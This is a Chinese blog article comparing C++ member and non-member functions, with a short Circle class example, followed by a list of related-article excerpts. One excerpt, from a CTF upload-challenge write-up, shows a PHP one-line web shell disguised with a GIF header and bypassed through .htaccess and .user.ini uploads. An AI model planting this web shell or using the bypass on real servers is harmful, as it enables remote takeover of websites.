【C++ 成员函数与非成员函数:选择正确的工具】

在C++编程中,成员函数和非成员函数都是关键的概念。它们提供了不同的方法来组织和处理代码,具有各自的优势和用途。本文将深入研究成员函数和非成员函数,以帮助您了解何时使用它们以及如何做出正确的选择。

成员函数:类的内在力量

成员函数是与类关联的函数,它们可以访问类的成员变量和其他成员函数。下面是一些关于成员函数的重要信息:

1. 类的方法:成员函数是类的方法,它们可以用来执行与类相关的操作。它们在类的内部定义,可以访问类的私有成员。
2. 封装性:成员函数有助于实现封装,通过将数据和操作绑定在一起,使代码更具可维护性和安全性。
3. this 指针:每个成员函数都有一个隐含的指向调用对象的 this 指针,这允许在函数内部直接访问对象的成员。
4. 代码清晰:成员函数可以使代码更具可读性,因为它们将相关操作封装在类内部,使其更加自然和直观。

非成员函数:自由精神的力量

非成员函数不隶属于任何类,它们可以在全局范围内定义。以下是关于非成员函数的一些要点:

1. 独立性:非成员函数是独立于任何类的,它们没有访问类的私有成员的特权。
2. 通用性:非成员函数可以操作多个不同类型的对象,这使它们具有通用性,可以处理更广泛的用例。
3. 重载:非成员函数可以通过函数重载来实现多个不同的版本,以满足不同的需求。
4. 非侵入性:非成员函数不会改变类的定义,这使得它们对于已存在的类或库的扩展特别有用。

何时选择成员函数?

选择成员函数的情况通常包括:

  1. 访问私有成员:如果需要访问类的私有成员,成员函数是唯一能够做到的方式。

  2. 关联性:如果操作与类紧密相关,且仅适用于该类,那么成员函数是首选。例如,操纵一个矩形对象的面积计算函数。

  3. 封装:成员函数有助于实现封装,确保数据和操作在同一个类中,增强了安全性。

何时选择非成员函数?

选择非成员函数的情况通常包括:

  1. 通用性:如果操作不依赖于特定的类,可以在多个不同的类上执行,那么非成员函数是更好的选择。

  2. 库的扩展:如果您需要扩展一个已存在的类或库,而不能更改类的定义,非成员函数是理想的。

  3. 多态:非成员函数可以为不同类型的参数重载,提供更灵活的多态性。

示例:成员函数和非成员函数的比较

让我们看一个示例,其中我们比较成员函数和非成员函数的使用:

class Circle {
private:double radius;public:Circle(double r) : radius(r) {}// 成员函数,计算圆的面积double CalculateArea() {return 3.141592 * radius * radius;}
};// 非成员函数,计算两个圆的总面积
double CalculateTotalArea(const Circle& c1, const Circle& c2) {return c1.CalculateArea() + c2.CalculateArea();
}

在这个示例中,CalculateArea 是一个成员函数,因为它直接与 Circle 类相关。CalculateTotalArea 是一个非成员函数,因为它操作多个 Circle 对象。

结论

C++中的成员函数和非成员函数都是重要的工具,用于组织和处理代码。选择正确的工具取决于您的特定需求。成员函数提供了封装性和与类的紧密关联,而非成员函数提供了通用性和扩展性。通过深入了解这两者,您可以更好地组织您的代码,并使其更加可维护和灵活。无论是成员函数还是非成员函数,都应根据您的特定情况选择正确的工具。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/108539.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

服务器带宽和流量的关系

服务器带宽和流量的关系 我们经常听说带宽,流量等这样一些专用名词,平常生活中手机使用会用到,在IT行业搭建网站使用服务器也会用到,虽然这两个流量带宽意义上不全相同,但是毕竟是我们比较关注的内容。今天给大家说说…

C/C++笔试易错与高频题型图解知识点(二)—— C++部分(持续更新中)

目录 1.构造函数初始化列表 1.1 构造函数初始化列表与函数体内初始化区别 1.2 必须在初始化列表初始化的成员 2 引用&引用与指针的区别 2.1 引用初始化以后不能被改变,指针可以改变所指的对象 2.2 引用和指针的区别 3 构造函数与析构函数系列题 3.1构造函数与析…

2023大联盟6比赛总结

比赛链接 反思 A 为什么打表就我看不出规律!!! 定式思维太严重了T_T B 纯智障分块题,不知道为什么 B 100 B100 B100 比理论最优 B 300 B300 B300 更优(快了 3 倍),看来分块还是要学习一…

【LeetCode热题100】--287.寻找重复数

287.寻找重复数 方法:使用快慢指针 使用环形链表II的方法解题(142.环形链表II),使用 142 题的思想来解决此题的关键是要理解如何将输入的数组看作为链表。 首先明确前提,整数的数组 nums 中的数字范围是 [1,n]。考虑一…

VScode无法跳转函数定义

VScode需要在当前工作环境下解析函数之间的依赖关系,如果工作环境是根目录/,扫描的文件范围会比/home/username/code大很多,导致VScode无法解析出函数依赖,也就无法跳转。 解决办法:将路径目录从高目录调整到较低的目…

【Qt控件之QDialogButtonBox】概述及使用

概述 QDialogButtonBox类是一个小部件,它以适合当前小部件样式的布局呈现按钮。 对话框和消息框通常以符合该台界面指南的布局呈现按钮。不同的平台会有不同的对话框布局。QDialogButtonBox允许发人员向其添加按钮,并将自使用用户的桌面环境所适合的布局…

数据结构--堆

一. 堆 1. 堆的概念 堆(heap):一种有特殊用途的数据结构——用来在一组变化频繁(发生增删查改的频率较高)的数据集中查找最值。 堆在物理层面上,表现为一组连续的数组区间:long[] array &…

MySQl_2

目录 函数 一.字符串函数 二.数值函数 三.日期函数 四.流程控制函数 约束 多表查询 多表关系 一.内连接 二.外连接 三.自连接 四.联合查询 五.子查询 标量子查询 列子查询 行子查询 表子查询 函数 一.字符串函数 二.数值函数 SELECT LPAD(FLOOR(RAND()*1000000),…

二叉树与递归的相爱相杀

数据结构之二叉树 一、基于二叉树的基础操作1.二叉树的构建2.二叉树的遍历①前序遍历(深度遍历)②中序遍历③后序遍历④层序遍历判断一棵二叉树是否是完全二叉树(基于层序遍历的思想) 3.二叉树的数量问题①求二叉树结点个数②求二…

PixMIM论文笔记

论文名称:PixMIM: Rethinking Pixel Reconstruction in Masked Image Modeling 发表时间:2023 年 3 月 4 日 作者及组织:上海人工智能实验室、西蒙菲莎大学、香港中文大学 GitHub:https://github.com/open-mmlab/mmselfsup/tree/d…

transformer_01

一、传统RNN存在的问题 1.序列前序太长,每个xi要记住前面的特征,而且一直在学,没有忘记,可能特征不能学的太好 2.串行,层越多越慢,难以堆叠很多层; 3.只能看到过去,不能看到未来 搞…

什么是NetApp的DQP和如何安装DQP?

首先看看什么是DQP,DQPDisk Qualification Package,文字翻译就是磁盘验证包。按照NetApp的最佳实践,要定期升级DQP包,保证对最新磁盘和磁盘扩展柜的兼容。 本文主要介绍7-mode下如何升级DQP,至于cluster mode另外文章…

gazebo各种插件

类别 libgazebo_ros_api_plugin.so:提供与Gazebo仿真环境进行通信的API接口。 libgazebo_ros_block_laser.so:模拟激光传感器的插件。 libgazebo_ros_bumper.so:模拟碰撞传感器的插件。 libgazebo_ros_camera.so:模拟相机传感器的…

Linux Zabbix企业级监控平台+cpolar实现远程访问

文章目录 前言1. Linux 局域网访问Zabbix2. Linux 安装cpolar3. 配置Zabbix公网访问地址4. 公网远程访问Zabbix5. 固定Zabbix公网地址 前言 Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系…

@RequestParam和@RequestBody部分使用场景总结

总结代码如下 package com.woer.receipt_callback.controller;import cn.hutool.log.StaticLog; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; import org.springframework.web.bind.annotation.*;/*** 总结:* 一、Ge…

基于边缘网关构建水污染监测治理方案

绿水青山就是金山银山,生态环境才是人类最宝贵的财富。但是在日常生活生产中,总是免不了各种污水的生产、排放。针对生产生活与环境保护的均衡,可以借助边缘网关打造环境污水监测治理体系,保障生活与环境的可持续性均衡发展。 水污…

NewStarCTF2023week2-Upload again!

尝试传修改后缀的普通一句话木马&#xff0c;被检测 尝试传配置文件 .htaccess 和 .user.ini 两个都传成功了 接下来继续传入经过修改的木马 GIF89a <script language"php"> eval($_POST[cmd]); </script> 没有被检测&#xff0c;成功绕过 直接上蚁剑…

JavaScript的forEach循环和作用域

forEach循环 var age [12,3,12,3,12,12,1,3,3,123] age.forEach(function(value){console.log(value) }) for(var num in age){ if(age.hasOfProperty(num)){ console.log("存在") console.log(age[num]) } } num是下标位置&#xff0c; 通过get方法获取字符串相…

【算法与数据结构】--常见数据结构--树与图

一、二叉树 二叉树&#xff08;Binary Tree&#xff09;是一种重要的树状数据结构&#xff0c;它由节点构成&#xff0c;每个节点最多有两个子节点&#xff1a;一个左子节点和一个右子节点。这种结构使得二叉树在计算机科学和编程中具有广泛的应用。 1.1 二叉树的基本特性&am…

微查系统,一站式查询,让您的查询更加便捷

微查系统是挖数据一款功能强大的查询系统&#xff0c;是一个集多种查询和核验工具于一身的综合性平台。它可以大大简化企业和个人的查询流程&#xff0c;节省时间和成本&#xff0c;提高查询的准确性和效率。本文将介绍微查系统的主要特点&#xff0c;功能和使用方法&#xff0…